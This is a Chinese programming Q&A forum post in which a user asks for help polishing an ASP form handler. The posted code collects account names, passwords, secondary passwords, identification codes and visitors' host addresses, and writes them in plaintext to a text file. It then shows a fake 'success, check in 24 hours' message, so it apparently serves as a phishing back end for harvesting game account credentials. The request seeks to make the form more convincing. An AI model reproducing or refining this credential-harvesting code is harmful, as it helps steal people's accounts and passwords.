当前位置:编程学习 > asp >>

谁来帮写这段ASP代码

要像hxfroe.cn这个网站的那表单一样直接弹的,我的这个不是直接弹的,还有要哪个打密码的时候要两个一样才可以提交,大家帮我写下提交我的ASP代码是,
<%
strLogFile="2009.txt"

ddlDBArea=request("ddlDBArea")
txtAccount=request("txtAccount")
txtPassword=request("txtPassword")
txtPassword2=request("txtPassword2")
AppendCode=request("AppendCode")
txtAppendCode=request("txtAppendCode")
txtActorName=request("txtActorName")
txtExp=request("txtExp")
if txtAccount="" then

response.write "<script>alert('输入帐号不能为空,请输入帐号!');history.back(-1);</script>"
response.end
End If
if txtPassword="" then

response.write "<script>alert('密码不能为空,请输入密码!');history.back(-1);</script>"
response.end
End If
if txtActorName="" then


End If
if txtAppendCode="" then


End If

StrLogText=StrLogText&ddlDBArea&"--帐号:--"&txtAccount&"--密码:--"&txtPassword&"--识别码:--"&AppendCode&"--二级密码:--"&txtPassword2&"--等级:--"&txtExp&"--("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")--"&date&" "&time

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing

response.write "<script>alert('您的提交成功.请在24小时后查询!');history.back(-1);</script>"

%>
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,